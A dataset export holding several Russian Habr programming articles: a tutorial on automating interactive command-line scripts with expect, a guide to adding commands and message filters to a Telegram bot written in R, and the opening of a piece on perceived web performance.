text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Bash-скрипты, часть 11: expect и автоматизация интерактивных утилит
> [Bash-скрипты: начало](https://habrahabr.ru/company/ruvds/blog/325522/)
>
> [Bash-скрипты, часть 2: циклы](https://habrahabr.ru/company/ruvds/blog/325928/)
>
> [Bash-скрипты, часть 3: параметры и ключи командной строки](https://habrahabr.ru/company/ruvds/blog/326328/)
>
> [Bash-скрипты, часть 4: ввод и вывод](https://habrahabr.ru/company/ruvds/blog/326594/)
>
> [Bash-скрипты, часть 5: сигналы, фоновые задачи, управление сценариями](https://habrahabr.ru/company/ruvds/blog/326826/)
>
> [Bash-скрипты, часть 6: функции и разработка библиотек](https://habrahabr.ru/company/ruvds/blog/327248/)
>
> [Bash-скрипты, часть 7: sed и обработка текстов](https://habrahabr.ru/company/ruvds/blog/327530/)
>
> [Bash-скрипты, часть 8: язык обработки данных awk](https://habrahabr.ru/company/ruvds/blog/327754/)
>
> [Bash-скрипты, часть 9: регулярные выражения](https://habrahabr.ru/company/ruvds/blog/327896/)
>
> [Bash-скрипты, часть 10: практические примеры](https://habrahabr.ru/company/ruvds/blog/328346/)
>
> [Bash-скрипты, часть 11: expect и автоматизация интерактивных утилит](https://habrahabr.ru/company/ruvds/blog/328436/)
В прошлый раз мы говорили о методике разработки bash-скриптов. Если же суммировать всё, что мы разобрали в предыдущих десяти материалах, то вы, если начинали читать их, ничего не зная о bash, теперь можете сделать уже довольно много всего полезного.
[](https://habrahabr.ru/company/ruvds/blog/328436/)
Сегодняшняя тема, заключительная в этой серии материалов, посвящена автоматизации работы с интерактивными утилитами, например, со скриптами, которые, в процессе выполнения, взаимодействуют с пользователем. В этом деле нам поможет expect — инструмент, основанный на языке Tcl.
Expect позволяет создавать программы, ожидающие вопросов от других программ и дающие им ответы. Expect можно сравнить с роботом, который способен заменить пользователя при взаимодействии со сценариями командной строки.
[](https://ruvds.com/ru-rub/#order)
Основы expect
-------------
Если expect в вашей системе не установлен, исправить это, например, в Ubuntu, можно так:
```
$ apt-get install expect
```
В чём-то вроде CentOs установка выполняется такой командой:
```
$ yum install expect
```
Expect предоставляет набор команд, позволяющих взаимодействовать с утилитами командной строки. Вот его основные команды:
* `spawn —` запуск процесса или программы. Например, это может быть командная оболочка, [FTP](https://likegeeks.com/ftp-server-linux/), Telnet, ssh, scp и так далее.
* `expect —` ожидание данных, выводимых программой. При написании скрипта можно указать, какого именно вывода он ждёт и как на него нужно реагировать.
* `send —` отправка ответа. Expect-скрипт с помощью этой команды может отправлять входные данные автоматизируемой программе. Она похожа на знакомую вам команду `echo` в обычных bash-скриптах.
* `interact —` позволяет переключиться на «ручной» режим управления программой.
Автоматизация bash-скрипта
--------------------------
Напишем скрипт, который взаимодействует с пользователем и автоматизируем его с помощью expect. Вот код bash-скрипта `questions`:
```
#!/bin/bash
echo "Hello, who are you?"
read $REPLY
echo "Can I ask you some questions?"
read $REPLY
echo "What is your favorite topic?"
read $REPLY
```
Теперь напишем expect-скрипт, который запустит скрипт `questions` и будет отвечать на его вопросы:
```
#!/usr/bin/expect -f
set timeout -1
spawn ./questions
expect "Hello, who are you?\r"
send -- "Im Adam\r"
expect "Can I ask you some questions?\r"
send -- "Sure\r"
expect "What is your favorite topic?\r"
send -- "Technology\r"
expect eof
```
Сохраним скрипт, дав ему имя `answerbot`.
В начале скрипта находится строка идентификации, которая, в данном случае, содержит путь к expect, так как интерпретировать скрипт будет именно expect.
Во второй строке мы отключаем тайм-аут, устанавливая переменную expect `timeout` в значение -1. Остальной код — это и есть автоматизация работы с bash-скриптом.
Сначала, с помощью команды `spawn`, мы запускаем bash-скрипт. Естественно, тут может быть вызвана любая другая утилита командной строки. Далее задана последовательность вопросов, поступающих от bash-скрипта, и ответов, которые даёт на них expect. Получив вопрос от подпроцесса, expect выдаёт ему заданный ответ и ожидает следующего вопроса.
В последней команде expect ожидает признака конца файла, скрипт, дойдя до этой команды, завершается.
Теперь пришло время всё это опробовать. Сделаем `answerbot` исполняемым файлом:
```
$ chmod +x ./answerbot
```
И вызовем его:
```
$./answerbot
```
*Expect-скрипт отвечает на вопросы bash-скрипта*
Как видно, expect-скрипт верно ответил на вопросы bash-скрипта. Если на данном этапе вы столкнулись с ошибкой, вызванной тем, что неправильно указано расположение expect, выяснить его адрес можно так:
```
$ which expect
```
Обратите внимание на то, что после запуска скрипта `answerbot` всё происходит в полностью автоматическом режиме. То же самое можно проделать для любой утилиты командной строки. Тут надо отметить, что наш bash-скрипт устроен очень просто, мы точно знаем, какие именно данные он выводит, поэтому написать expect-скрипт для взаимодействия с ним несложно. Задача усложняется при работе с программами, которые написаны другими разработчиками. Однако, здесь на помощь приходит средство для автоматизированного создания expect-скриптов.
Autoexpect — автоматизированное создание expect-скриптов
--------------------------------------------------------
Autoexpect позволяет запускать программы, которые надо автоматизировать, после чего записывает то, что они выводят, и то, что пользователь вводит, отвечая на их вопросы. Вызовем autoexpect, передав этой утилите имя нашего скрипта:
```
$ autoexpect ./questions
```
В этом режиме взаимодействие с bash-скриптом ничем не отличается от обычного: мы сами вводим ответы на его вопросы.
*Запуск bash-скрипта с помощью autoexpect*
После завершения работы с bash-скриптом, autoexpect сообщит о том, что собранные данные записаны в файл `script.exp`. Взглянем на этот файл.
*Файл script.exp*
В целом, за исключением некоторых деталей, перед нами такой же скрипт, который мы писали самостоятельно. Если запустить этот скрипт, результат будет тем же.
*Запуск expect-скрипта, созданного автоматически*
При записи сеансов взаимодействия с некоторыми программами, вроде FTP-клиентов, вы можете столкнуться с тем, что они используют в выводимых данных сведения о времени проведения операции, или выводят данные, отражающие процесс выполнения неких продолжительных действий. В целом, речь идёт о том, что вывод программы при каждом её запуске, правильно воспринимаемый человеком и вызывающий ввод одних и тех же ответов, будет, в тех же условиях, выглядеть по-новому для expect.
Если в expect-скрипте строки, ожидаемые от такой программы, будут жёстко зафиксированы, такой скрипт не сможет нормально работать. Справиться с этим можно, либо удалив из expect-скрипта данные, которые выглядят по-новому при каждом запуске программы, либо использовав шаблоны, пользуясь которыми, expect сможет правильно понять то, что хочет от него программа.
Как видите, autoexpect — это весьма полезный инструмент, но и он не лишён недостатков, исправить которые можно только вручную. Поэтому продолжим осваивать язык expect-скриптов.
Работа с переменными и параметрами командной строки
---------------------------------------------------
Для объявления переменных в expect-скриптах используется команда `set`. Например, для того, чтобы присвоить значение 5 переменной `VAR1`, используется следующая конструкция:
```
set VAR1 5
```
Для доступа к значению переменной перед её именем надо добавить знак доллара — `$`. В нашем случае это будет выглядеть как `$VAR1`.
Для того, чтобы получить доступ к аргументам командной строки, с которыми вызван expect-скрипт, можно поступить так:
```
set VAR [lindex $argv 0]
```
Тут мы объявляем переменную `VAR` и записываем в неё указатель на первый аргумент командной строки, `$argv 0`.
Для целей обновлённого expect-скрипта мы собираемся записать значение первого аргумента, представляющее собой имя пользователя, которое будет использовано в программе, в переменную `my_name`. Второй аргумент, символизирующий то, что пользователю нравится, попадёт в переменную `my_favorite`. В результате объявление переменных будет выглядеть так:
```
set my_name [lindex $argv 0]
set my_favorite [lindex $argv 1]
```
Отредактируем скрипт `answerbot`, приведя его к такому виду:
```
#!/usr/bin/expect -f
set my_name [lindex $argv 0]
set my_favorite [lindex $argv 1]
set timeout -1
spawn ./questions
expect "Hello, who are you?\r"
send -- "Im $my_name\r"
expect "Can I ask you some questions?\r"
send -- "Sure\r"
expect "What is your favorite topic?\r"
send -- "$my_favorite\r"
expect eof
```
Запустим его, передав в качестве первого параметра `SomeName`, в качестве второго — `Programming`:
```
$ ./answerbot SomeName Programming
```
*Expect-скрипт, использующий переменные и параметры командной строки*
Как видите, всё работает так, как ожидалось. Теперь expect-скрипт отвечает на вопросы bash-скрипта, пользуясь переданными ему параметрами командной строки.
Ответы на разные вопросы, которые могут появиться в одном и том же месте
------------------------------------------------------------------------
Если автоматизируемая программа может, в одной ситуации, выдать одну строку, а в другой, в том же самом месте — другую, в expect можно использовать блоки, заключённые в фигурные скобки и содержащие варианты реакции скрипта на разные данные, полученные от программы. Выглядит это так:
```
expect {
"something" { send -- "send this\r" }
"*another" { send -- "send another\r" }
}
```
Здесь, если expect-скрипт увидит строку «something», он отправит ответ «send this». Если же это будет некая строка, оканчивающаяся на «another», он отправит ответ «send another».
Напишем новый скрипт, записав его в файл `questions`, случайным образом задающий в одном и том же месте разные вопросы:
```
#!/bin/bash
let number=$RANDOM
if [ $number -gt 25000 ]
then
echo "What is your favorite topic?"
else
echo "What is your favorite movie?"
fi
read $REPLY
```
Тут мы генерируем случайное число при каждом запуске скрипта, и, проанализировав его, выводим один из двух вопросов.
Для автоматизации такого скрипта нам и пригодится вышеописанная конструкция:
```
#!/usr/bin/expect -f
set timeout -1
spawn ./questions
expect {
"*topic?" { send -- "Programming\r" }
"*movie?" { send -- "Star wars\r" }
}
```
*Ответы на разные вопросы, появляющиеся в одном и том же месте*
Как видно, когда автоматизированный скрипт выводит строку, оканчивающуюся на «topic?», expect-скрипт передаёт ему строку «Programming». Получив в том же месте, при другом запуске программы, вопрос, оканчивающийся на «movie?», expect-скрипт отвечает: «Star wars». Это очень полезная техника.
Условный оператор
-----------------
Expect поддерживает условный оператор `if-else` и другие управляющие конструкции. Вот пример использования условного оператора:
```
#!/usr/bin/expect -f
set TOTAL 1
if { $TOTAL < 5 } {
puts "\nTOTAL is less than 5\n"
} elseif { $TOTAL > 5 } {
puts "\nTOTAL greater than 5\n"
} else {
puts "\nTOTAL is equal to 5\n"
}
expect eof
```
*Условный оператор в expect*
Тут мы присваиваем переменной `TOTAL` некое число, после чего проверяем его и выводим текст, зависящий от результата проверки.
Обратите внимание на конфигурацию фигурных скобок. Очередная открывающая скобка должна быть расположена на той же строке, что и предыдущие конструкции.
Цикл while
----------
Циклы `while` в expect очень похожи на те, что используются в обычных bash-скриптах, но, опять же, тут применяются фигурные скобки:
```
#!/usr/bin/expect -f
set COUNT 0
while { $COUNT <= 5 } {
puts "\nCOUNT is currently at $COUNT"
set COUNT [ expr $COUNT + 1 ]
}
puts ""
```
*Цикл while в expect*
Цикл for
--------
Цикл `for` в expect устроен по-особому. В начале цикла, в самостоятельных парах фигурных скобок, надо указать переменную-счётчик, условие прекращения цикла и правило модификации счётчика. Затем, опять же в фигурных скобках, идёт тело цикла:
```
#!/usr/bin/expect -f
for {set COUNT 0} {$COUNT <= 5} {incr COUNT} {
puts "\nCOUNT is at $COUNT"
}
puts ""
```
*Цикл for в expect*
Объявление и использование функций
----------------------------------
Expect позволяет программисту объявлять функции, используя ключевое слово `proc`:
```
proc myfunc { MY_COUNT } {
set MY_COUNT [expr $MY_COUNT + 1]
return "$MY_COUNT"
}
```
Вот как выглядит expect-скрипт, в котором используется объявленная в нём же функция:
```
#!/usr/bin/expect -f
proc myfunc { MY_COUNT } {
set MY_COUNT [expr $MY_COUNT + 1]
return "$MY_COUNT"
}
set COUNT 0
while {$COUNT <= 5} {
puts "\nCOUNT is currently at $COUNT"
set COUNT [myfunc $COUNT]
}
puts ""
```
*Функции в expect*
Команда interact
----------------
Случается так, что автоматизируемые с помощью expect программы требуют ввода конфиденциальных данных, вроде паролей, которые вам не хотелось бы хранить в виде обычного текста в коде скрипта. В подобной ситуации можно воспользоваться командой `interact`, которая позволит вам, автоматизировав некую часть взаимодействия с программой, самостоятельно ввести, скажем, пароль, а потом опять передать управление expect.
Когда выполняется эта команда, expect-скрипт переключается на чтение ответа на вопрос программы с клавиатуры, вместо того, чтобы передавать ей ранее записанные в нём данные.
Вот bash-скрипт, в общем-то, точно такой же, как мы рассматривали ранее, но теперь ожидающий ввод пароля в ответ на один из своих вопросов:
```
#!/bin/bash
echo "Hello, who are you?"
read $REPLY
echo "What is you password?"
read $REPLY
echo "What is your favorite topic?"
read $REPLY
```
Напишем expect-скрипт, который, когда ему предлагают предоставить пароль, передаёт управление нам:
```
#!/usr/bin/expect -f
set timeout -1
spawn ./questions
expect "Hello, who are you?\r"
send -- "Hi Im Adam\r"
expect "*password?\r"
interact ++ return
send "\r"
expect "*topic?\r"
send -- "Technology\r"
expect eof
```
*Команда interact в expect-скрипте*
Встретив команду `interact`, expect-скрипт остановится, предоставив нам возможность ввести пароль. После ввода пароля надо ввести «++» и expect-скрипт продолжит работу, снова получив управление.
Итоги
-----
Возможностями expect можно пользоваться в программах, написанных на разных языках программирования благодаря соответствующим библиотекам. Среди этих языков — C#, Java, Perl, Python, Ruby, и другие. То, что expect доступен для разных сред разработки — далеко не случайность. Всё дело в том, что это действительно важный и полезный инструмент, который используют для решения множества задач. Здесь и проверка качества ПО, и выполнение различных работ по сетевому администрированию, автоматизация передачи файлов, автоматическая установка обновлений и многое другое.
Освоив этот материал, вы ознакомились с основными концепциями expect и научились пользоваться инструментом autoexpect для автоматического формирования скриптов. Теперь вы вполне можете продолжить изучение expect, воспользовавшись дополнительными источниками. Вот — [сборник](http://wiki.tcl.tk/11584) учебных и справочных материалов. Вот — достойная внимания серия из трёх статей ([1](https://www.ibm.com/developerworks/ru/library/l-expect_1/), [2](https://www.ibm.com/developerworks/ru/library/l-expect_2/), [3](https://www.ibm.com/developerworks/ru/library/l-expect_3/)). А вот — [официальная страница](https://www.nist.gov/services-resources/software/expect) expect, на которой можно найти ссылки на исходный код программы и список публикаций.
На этом мы завершаем серию материалов о bash-скриптах. Надеемся, её одиннадцать частей, а также бессчётное число комментариев к ним, помогли в достижении цели тем, кто хотел научиться писать сценарии командной строки.
[](https://ruvds.com/ru-rub/#order)
Уважаемые читатели! Благодарим всех, кто был с нами. Желаем удачной автоматизации работы в Linux! И, если у вас есть опыт работы с expect — ждём ваших рассказов. | https://habr.com/ru/post/328436/ | null | ru | null |
# Пишем telegram бота на языке R (часть 2): Добавляем боту поддержку команд и фильтры сообщений
В [предыдущей публикации](https://habr.com/ru/post/511222/) мы разобрались как создать бота, инициализировали экземпляр класса `Bot` и ознакомились с методами отправки сообщений с его помощью.
В этой статье я продолжаю данную тему, поэтому приступать к чтению данной статьи я рекомендую только после прочтения [первой части](https://habr.com/ru/post/511222/).
В этот раз мы разберёмся как оживить нашего бота и добавим ему поддержку команд, а также познакомимся с классом `Updater`.
В ходе статьи мы напишем нескольких простых ботов, последний будет по заданной дате и коду страны определять является ли день в данной стране выходным или рабочим согласно производственного календаря. Но, как и прежде цель статьи ознакомить вас с интерфейсом пакета `telegram.bot` для решения ваших собственных задач.
Все статьи из серии "Пишем telegram бота на языке R"
====================================================
1. [Создаём бота, и отправляем с его помощью сообщения в telegram](https://habr.com/ru/post/511222/)
2. [Добавляем боту поддержку команд и фильтры сообщений](https://habr.com/ru/post/515148/)
3. [Как добавить боту поддержку клавиатуры](https://habr.com/ru/post/516908/)
4. [Построение последовательного, логического диалога с ботом](https://habr.com/ru/post/518470/)
5. [Управление правами пользователей бота](https://habr.com/ru/post/520208/)
Содержание
==========
*Если вы интересуетесь анализом данных возможно вам будут интересны мои [telegram](https://t.me/R4marketing) и [youtube](https://www.youtube.com/R4marketing/?sub_confirmation=1) каналы. Большая часть контента которых посвящены языку R.*
1. [Класс Updater](#klass-updater)
2. [Handlers — обработчики](#handlers---obrabotchiki)
3. [Добавляем первую команду боту, обработчик команд](#dobavlyaem-pervuyu-komandu-botu-obrabotchik-komand)
4. [Обработчик текстовых сообщений и фильтры](#obrabotchik-tekstovyh-soobscheniy-i-filtry)
5. [Добавление команд с параметрами](#dobavlenie-komand-s-parametrami)
6. [Запускаем бота в фоновом режиме](#zapuskaem-bota-v-fonovom-rezhime)
7. [Заключение](#zaklyuchenie)
Класс Updater
=============
`Updater` — это класс, который упрощает вам разработку телеграм бота, и использует под капотом класс `Dispetcher`. Назначение класса `Updater` заключается в том, что бы получить обновления от бота (в предыдущей статье мы использовали для этой цели метод `getUpdates()`), и передать их далее в `Dispetcher`.
В свою очередь `Dispetcher` содержит в себе созданные вами обработчики, т.е. объекты класса `Handler`.
Handlers — обработчики
======================
С помощью обработчиков вы добавляете в `Dispetcher` реакции бота на различные события. На момент написания статьи в `telegram.bot` добавлены следующие типы обработчиков:
* MessageHandler — Обработчик сообщений
* CommandHandler — Обработчик команд
* CallbackQueryHandler — Обработчик данных отправляемых из Inline клавиатур
* ErrorHandler — Обработчик ошибок при запросе обновлений от бота
Добавляем первую команду боту, обработчик команд
================================================
Если вы никогда ранее не использовали ботов, и не в курсе, что такое команда, то команды боту необходимо отправлять с помощью прямого слеша `/` в качестве префикса.
Начнём мы с простых команд, т.е. научим нашего бота здороваться по команде `/hi`.
**Код 1: Учим бота здороваться**
```
library(telegram.bot)
# создаём экземпляр класса Updater
updater <- Updater('ТОКЕН ВАШЕГО БОТА')
# Пишем метод для приветсвия
say_hello <- function(bot, update) {
# Имя пользователя с которым надо поздароваться
user_name <- update$message$from$first_name
# Отправка приветственного сообщения
bot$sendMessage(update$message$chat_id,
text = paste0("Моё почтение, ", user_name, "!"),
parse_mode = "Markdown")
}
# создаём обработчик
hi_hendler <- CommandHandler('hi', say_hello)
# добаляем обработчик в диспетчер
updater <- updater + hi_hendler
# запускаем бота
updater$start_polling()
```
> Запустите приведённый выше пример кода, предварительно заменив 'ТОКЕН ВАШЕГО БОТА' на реальный токен, который вы получили при создании бота через *BotFather* (о создании бота я рассказывал в [первой статье](https://habr.com/ru/post/511222/#sozdanie-telegram-bota)).
Метод `start_polling()` класса `Updater`, который используется в конце кода, запускает бесконечный цикл запроса и обработки обновлений от бота.
Теперь откроем телеграм, и напишем нашему боту первую команду `/hi`.
Теперь наш бот понимает команду `/hi`, и умеет с нами здороваться.
Схематически процесс построения такого простейшего бота можно изобразить следующим образом.
1. Создаём экземпляр класса `Updater`;
2. Создаём методы, т.е. функции которые будет выполнять наш бот. В примере кода это функция `say_hello()`. Функции, которые вами будут использоваться как методы бота должны иметь два обязательных аргумента — *bot* и *update*, и один необязательный — *args*. Аргумент *bot*, это и есть ваш бот, с его помощью вы можете отвечать на сообщения, отправлять сообщения, или использовать любые другие доступные боту методы. Аргумент *update* это то, что бот получил от пользователя, по сути, то что в первой статье мы получали методом `getUpdates()`. Аргумент *args* позволяет вам обрабатывать дополнительные данные отправленные пользователем вместе с командой, к этой теме мы ещё вернёмся немного позже;
3. Создаём обработчики, т.е. связываем какие-то действия пользователя с созданными на прошлом шаге методами. По сути обработчик это триггер, событие которое вызывает какую-то функцию бота. В нашем примере таким триггером является отправка команды `/hi`, и реализуется командой `hi_hendler <- CommandHandler('hi', say_hello)`. Первый аргумент функции `CommandHandler()` позволяет вам задать команду, в нашем случае `hi`, на которую будет реагировать бот. Второй аргумент позволяет указать метод бота, мы будем вызывать метод `say_hello`, который будет выполняться если пользователь вызвал указанную в первом аргументе команду;
4. Далее добавляем созданный обработчик в диспетчер нашего экземпляра класса `Updater`. Добавлять обработчики можно несколькими способами, в примере выше я использовал простейший, с помощью знака `+`, т.е. `updater <- updater + hi_hendler`. То же самое можно сделать с помощью метода `add_handler()`, который относится к классу `Dispatcher`, найти этот метод можно так: `updater$dispatcher$add_handler()`;
5. Запускаем бота с помощью команды `start_polling()`.
Обработчик текстовых сообщений и фильтры
========================================
Как отправлять боту команды мы разобрались, но иногда нам требуется, что бы бот реагировал не только на команды, но и на какие-то обычные, текстовые сообщения. Для этого необходимо использовать обработчики сообщений — **MessageHandler**.
Обычный **MessageHandler** будет реагировать на абсолютно все входящие сообщения. Поэтому зачастую обработчики сообщений используются вместе с фильтрами. Давайте научим бота здороваться не только по команде `/hi`, но и всегда, когда в сообщении отправленном боту встречается одно из следующих слов: привет, здравствуй, салют, хай, бонжур.
Пока мы не будем писать какие-то новые методы, т.к. у нас уже есть метод с помощью которого бот с нами здоровается. От нас требуется только создать нужный фильтр и обработчик сообщений.
**Код 2: Добавляем обработчик текстовых сообщений и фильтр**
```
library(telegram.bot)
# создаём экземпляр класса Updater
updater <- Updater('ТОКЕН ВАШЕГО БОТА')
# Пишем метод для приветсвия
## команда приветвия
say_hello <- function(bot, update) {
# Имя пользователя с которым надо поздароваться
user_name <- update$message$from$first_name
# Отправляем приветсвенное сообщение
bot$sendMessage(update$message$chat_id,
text = paste0("Моё почтение, ", user_name, "!"),
parse_mode = "Markdown",
reply_to_message_id = update$message$message_id)
}
# создаём фильтры
MessageFilters$hi <- BaseFilter(function(message) {
# проверяем, встречается ли в тексте сообщения слова: привет, здравствуй, салют, хай, бонжур
grepl(x = message$text,
pattern = 'привет|здравствуй|салют|хай|бонжур',
ignore.case = TRUE)
}
)
# создаём обработчик
hi_hendler <- CommandHandler('hi', say_hello) # обработчик команды hi
hi_txt_hnd <- MessageHandler(say_hello, filters = MessageFilters$hi)
# добаляем обработчики в диспетчер
updater <- updater +
hi_hendler +
hi_txt_hnd
# запускаем бота
updater$start_polling()
```
> Запустите приведённый выше пример кода, предварительно заменив 'ТОКЕН ВАШЕГО БОТА' на реальный токен, который вы получили при создании бота через *BotFather* (о создании бота я рассказывал в [первой статье](https://habr.com/ru/post/511222/#sozdanie-telegram-bota)).
Теперь попробуем отправить боту несколько сообщений, в которых будут встречаться перечисленные ранее слова приветствия:
Итак, в первую очередь мы научили бота не просто здороваться, а отвечать на приветствие. Сделали мы это с помощью аргумента *reply\_to\_message\_id*, который доступен в методе `sendMessage()`, в который необходимо передать id сообщения на которое требуется ответить. Получить id сообщения можно вот так: `update$message$message_id`.
Но главное, что мы сделали — добавили боту фильтр с помощью функции `BaseFilter()`:
```
# создаём фильтры
MessageFilters$hi <- BaseFilter(
# анонимная фильтрующая функция
function(message) {
# проверяем, встречается ли в тексте сообщения слова приветствия
grepl(x = message$text,
pattern = 'привет|здравствуй|салют|хай|бонжур',
ignore.case = TRUE)
}
)
```
Как вы могли заметить, фильтры необходимо добавлять в объект **MessageFilters**, в котором изначально уже есть небольшой набор готовых фильтров. В нашем примере в объект **MessageFilters** мы добавили элемент *hi*, это новый фильтр.
В функцию `BaseFilter()` вам необходимо передать фильтрующую функцию. По сути, фильтр — это просто функция, которая получает экземпляр сообщения и возвращает *TRUE* или *FALSE*. В нашем примере, мы написали простейшую функцию, которая с помощью базовой функции `grepl()` проверяет текст сообщения, и если он соответствует регулярному выражению `привет|здравствуй|салют|хай|бонжур` возвращает *TRUE*.
Далее мы создаём обработчик сообщений `hi_txt_hnd <- MessageHandler(say_hello, filters = MessageFilters$hi)`. Первый аргумент функции `MessageHandler()` — метод, который будет вызывать обработчик, а второй аргумент — это фильтр по которому он будет вызываться. В нашем случае это созданный нами фильтр `MessageFilters$hi`.
Ну и в итоге, мы добавляем в диспетчер созданный только, что обработчик *hi\_txt\_hnd*.
```
updater <- updater +
hi_hendler +
hi_txt_hnd
```
Как я уже писал выше, в пакете `telegram.bot` и объекте **MessageFilters** уже есть набор встроенных фильтров, которые вы можете использовать:
* all — Все сообщения
* text — Текстовые сообщения
* command — Команды, т.е. сообщения которые начинаются на `/`
* reply — Сообщения, которые являются ответом на другое сообщение
* audio — Сообщения в которых содержится аудио файл
* document — Сообщения с отправленным документом
* photo — Сообщения с отправленными изображениями
* sticker — Сообщения с отправленным стикером
* video — Сообщения с видео
* voice — Голосовые сообщения
* contact — Сообщения в которых содержится контант телеграм пользователя
* location — Сообщения с геолокацией
* venue — Пересылаемые сообщения
* game — Игры
Если вы хотите совместить некоторые фильтры в одном обработчике просто используйте знак `|` — в качестве логического **ИЛИ**, и знак `&` в качестве логического **И**. Например, если вы хотите что бы бот вызывал один и тот же метод когда он получает видео, изображение или документ используйте следующий пример создания обработчика сообщений:
```
handler <- MessageHandler(callback,
MessageFilters$video | MessageFilters$photo | MessageFilters$document
)
```
Добавление команд с параметрами
===============================
Мы уже знаем, что такое команды, как их создавать и как заставить бота выполнить нужную команду. Но в некоторых случаях помимо названия команды, нам необходимо передать некоторые данные для её выполнения.
Ниже пример бота, который по заданной дате и стране возвращает вам тип дня из производственного календаря.
Приведённый ниже бот использует API производственного календаря [isdayoff.ru](https://isdayoff.ru/).
**Код 3: Бот, который сообщает по дате и стране**
```
library(telegram.bot)
# создаём экземпляр класса Updater
updater <- Updater('ТОКЕН ВАШЕГО БОТА')
# Пишем метод для приветсвия
## команда приветвия
check_date <- function(bot, update, args) {
# входящие данные
day <- args[1] # дата
country <- args[2] # страна
# проверка введённых параметров
if ( !grepl('\\d{4}-\\d{2}-\\d{2}', day) ) {
# Send Custom Keyboard
bot$sendMessage(update$message$chat_id,
text = paste0(day, " - некорреткная дата, введите дату в формате ГГГГ-ММ-ДД"),
parse_mode = "Markdown")
} else {
day <- as.Date(day)
# переводим в формат POSIXtl
y <- format(day, "%Y")
m <- format(day, "%m")
d <- format(day, "%d")
}
# страна для проверки
## проверяем задана ли страна
## если не задана устанавливаем ru
if ( ! country %in% c('ru', 'ua', 'by', 'kz', 'us') ) {
# Send Custom Keyboard
bot$sendMessage(update$message$chat_id,
text = paste0(country, " - некорретктный код страны, возможнные значения: ru, by, kz, ua, us. Запрошены данные по России."),
parse_mode = "Markdown")
country <- 'ru'
}
# запрос данных из API
# компоновка HTTP запроса
url <- paste0("https://isdayoff.ru/api/getdata?",
"year=", y, "&",
"month=", m, "&",
"day=", d, "&",
"cc=", country, "&",
"pre=1&",
"covid=1")
# получаем ответ
res <- readLines(url)
# интрепретация ответа
out <- switch(res,
"0" = "Рабочий день",
"1" = "Нерабочий день",
"2" = "Сокращённый рабочий день",
"4" = "covid-19",
"100" = "Ошибка в дате",
"101" = "Данные не найдены",
"199" = "Ошибка сервиса")
# отправляем сообщение
bot$sendMessage(update$message$chat_id,
text = paste0(day, " - ", out),
parse_mode = "Markdown")
}
# создаём обработчик
date_hendler <- CommandHandler('check_date', check_date, pass_args = TRUE)
# добаляем обработчик в диспетчер
updater <- updater + date_hendler
# запускаем бота
updater$start_polling()
```
> Запустите приведённый выше пример кода, предварительно заменив 'ТОКЕН ВАШЕГО БОТА' на реальный токен, который вы получили при создании бота через *BotFather* (о создании бота я рассказывал в [первой статье](https://habr.com/ru/post/511222/#sozdanie-telegram-bota)).
Мы создали бота, который в арсенале имеет всего один метод `check_date`, данный метод вызывается одноимённой командой.
Но, помимо имени команды, данный метод ждёт от вас введения двух параметров, код страны и дату. Далее бот проверяется, является ли заданный день в указанной стране выходным, сокращённым или рабочим согласно официального производственного календаря.
Что бы создаваемый нами метод принимал дополнительные параметры вместе с командой, используйте аргумент `pass_args = TRUE` в функции `CommandHandler()`, и при создании метода, помимо обязательных аргументов *bot*, *update* создайте опциональный — *args*. Созданный таким образом метод будет принимать параметры, которые вы передаёте боту после названия команды. Параметры необходимо между собой разделять пробелом, в метод они поступят в виде текстового вектора.
Давайте запустим, и протестируем нашего бота.
Запускаем бота в фоновом режиме
===============================
Последний шаг который нам осталось выполнить — запустить бота в фоновом режиме.
Для этого следуйте по описанному ниже алгоритму:
1. Сохраните код бота в файл с расширением R. При работе в RStudio это делается через меню *File*, командой *Save As...*.
2. Добавьте путь к папке bin, которая в свою очередь находится в папке в которую вы установили язык R в переменную Path, инструкция [тут](https://www.java.com/ru/download/help/path.xml).
3. Создайте обычный текстовый файл, в котором пропишите 1 строку: `R CMD BATCH C:\Users\Alsey\Documents\my_bot.R`. Вместо *C:\Users\Alsey\Documents\my\_bot.R* пропишите путь к своему скрипту бота. При этом важно, что бы в пути не встречалась кириллица и пробелы, т.к. это может вызвать проблемы при запуске бота. Сохраните его, и замените его расширение с *txt* на *bat*.
4. Откройте планировщик заданий Windows, есть множество способов это сделать, например откройте любую папку и в адресс введите `%windir%\system32\taskschd.msc /s`. Другие способы запуска можно найти [тут](https://remontka.pro/open-task-scheduler-windows/).
5. В верхнем правом меню планировщика нажмите "Создать задачу...".
6. На вкладке "Общие" задайте произвольное имя вашей задаче, и переключатель перевидите в состояние "Выполнять для всех пользователей".
7. Перейдите на вкладку "Действия", нажмите "Создать". В поле "Программа или сценарий" нажмите "Обзор", найдите созданный на втором шаге *bat* файл, и нажмите ОК.
8. Жмём ОК, при необходимости вводим пароль от вашей учётной записи операционной системы.
9. Находим в планировщике созданную задачу, выделяем и в нижнем правом углу жмём кнопку "Выполнить".
Наш бот запущен в фоновом режиме, и будет работать до тех пор, пока вы не остановите задачу, или не выключите ваш ПК или сервер на котором его запустили.
Заключение
==========
В этой статье мы разобрались как написать полноценного бота, который не только умеет отправлять сообщения, но и реагировать на входящие сообщения и команды. Полученных знананий уже достаточно для решения большинства ваших задач.
В [следующей статье](https://habr.com/ru/post/516908/) речь пойдёт о том, как добавить боту клавиатуру, для более удобной работы.
Подписываетесь на мой [telegram](https://t.me/R4marketing) и [youtube](https://www.youtube.com/R4marketing/?sub_confirmation=1) каналы. | https://habr.com/ru/post/515148/ | null | ru | null |
# Вам показалось! Все о Perceived Performance
Перед вами быстрый, удобный и отзывчивый сайт? Возможно, это не результат плодотворной работы множества людей, а всего лишь набор психологических и инженерных трюков, направленных на улучшение Perceived Performance.
В большинстве случаев с ростом реальной производительности улучшается и Perceived Performance. А когда реальная производительность не может быть с легкостью увеличена, существует возможность поднять видимую. В своем докладе на Frontend Live 2020 бывший разработчик Avito Frontend Architecture [Алексей Охрименко](https://habr.com/ru/users/obenjiro/) рассказал о приемах, которые улучшают ощущение скорости там, где ускорить уже нельзя.
Производительность — обязательное условие успеха современных Web-приложений. Есть множество исследований от Amazon и Google, которые говорят, что понижение производительности прямо пропорционально потере денег и ведет к слабой удовлетворенности вашими сервисами (что снова заставляет терять деньги).
Первопричина полученного стресса — ожидание. Научно доказано, что оно может вызывать:
* беспокойство;
* неуверенность;
* дискомфорт;
* раздражение;
* скуку.
Вряд ли кто-то хочет, чтобы пользователи испытывали эти эмоции. Поэтому так важно уменьшать время ожидания.
